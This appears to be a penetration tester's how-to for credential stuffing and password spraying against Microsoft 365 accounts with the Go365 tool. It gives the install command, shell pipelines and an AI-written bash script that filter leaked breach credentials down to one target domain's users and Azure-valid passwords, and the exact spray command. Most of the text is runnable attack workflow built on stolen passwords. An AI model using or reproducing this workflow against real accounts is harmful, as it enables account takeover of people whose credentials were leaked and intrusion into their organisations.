Go365

A tool for attacking O365 users with password stuffing/spraying.

Install

wget https://github.com/optiv/Go365/releases/download/v2.0/Go365_2.0_Linux_x86_64.tar.gz
tar -xzvf Go365_2.0_Linux_x86_64.tar.gz

Massage a CSV into a format Go365 can use

The example below works for a CSV extracted from sysleaks.com:

cut -d',' -f2,3 YOURCSV.csv | tr ',' ':' | sort -t':' -k1 | uniq > filtered.csv

Then take THAT CSV and filter it even further so it meets Azure requirements

Which are:

  • Minimum of 8 characters
  • 3 of these 4 properties:
  • Uppercase letters
  • Lowercase letters
  • Numbers
  • Symbols
awk -F: '{
  pass=$2;
  classes=0;
  if (pass ~ /[a-z]/) classes++;
  if (pass ~ /[A-Z]/) classes++;
  if (pass ~ /[0-9]/) classes++;
  if (pass ~ /[^a-zA-Z0-9]/) classes++;
  if (length(pass) >= 8 && classes >= 3) print $0
}' filtered.csv > superfiltered.txt

Sometimes this doesn't get me what I need, so AI wrote this script:

#!/usr/bin/env bash
# Filter a leak CSV (created_at,login,password,platform,leaks,raw) down to
# users whose password meets M365/Azure complexity, scoped to one domain,
# emitting sorted, de-duplicated  user:password  lines for Go365 (-up UP.txt).
#
# Usage:  ./m365-filter.sh <domain> [input.csv] [output.txt]
#   ./m365-filter.sh domain.com input.csv users-passwords.txt

set -euo pipefail

DOMAIN="${1:?usage: $0 <domain> [input.csv] [output.txt]}"
INPUT="${2:-filtered.csv}"
OUTPUT="${3:-superfiltered.txt}"

# --- Go365 knobs (tweak here if your run differs) -----------------
ENDPOINT="graph"
WAIT="300"
LOG="${DOMAIN}-log.txt"
# ------------------------------------------------------------------

awk -F',' -v dom="$DOMAIN" '
NR>1 {
  sub(/\r$/, "");                       # strip Windows CRLF
  user=$2; pass=$3;
  n=split(user, a, "@");
  udom = (n>1) ? a[n] : "";
  if (tolower(udom) != tolower(dom)) next;    # keep only target domain
  classes=0;
  if (pass ~ /[a-z]/) classes++;
  if (pass ~ /[A-Z]/) classes++;
  if (pass ~ /[0-9]/) classes++;
  if (pass ~ /[^a-zA-Z0-9]/) classes++;
  if (length(pass) >= 8 && length(pass) <= 256 && classes >= 3)
    print user ":" pass
}' "$INPUT" | sort -u > "$OUTPUT"

COUNT=$(wc -l < "$OUTPUT" | tr -d ' ')
echo "[+] ${COUNT} user:password lines -> ${OUTPUT}"

if [ "$COUNT" -eq 0 ]; then
  echo "[!] No qualifying entries for ${DOMAIN} — check the domain, delimiter, or input file."
  exit 0
fi

echo
echo "[>] Suggested Go365 command:"
echo
echo "./Go365 -endpoint ${ENDPOINT} -up ${OUTPUT} -debug -w ${WAIT} -o ${LOG} -d ${DOMAIN}"
echo

Run with:

./365filter.sh domain.com input.csv spraymelol.txt

Spray a list of usernames and passwords against M365/Azure/whatever-they're-calling-it-this-week

./Go365 -endpoint graph -up UP.txt -debug -w 300 -o CLIENT_output.txt -d domain.com

The UP.txt would be a "users and passwords" file that you'd generate by some other means, such as a dehashed dump.